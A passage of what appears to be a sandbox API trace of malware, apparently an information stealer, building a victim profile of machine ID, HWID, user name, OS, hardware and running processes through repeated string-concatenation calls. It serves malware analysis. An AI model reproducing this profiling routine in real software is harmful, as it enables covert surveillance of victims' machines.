svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- "
[0054.881] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- ", lpString2="identify-note.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe"
[0054.881] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe ["
[0054.881] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dad8
[0054.881] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da88
[0054.881] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.881] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [", lpString2="388" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388"
[0054.881] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n"
[0054.881] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="now.exe")) returned 1
[0054.882] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- 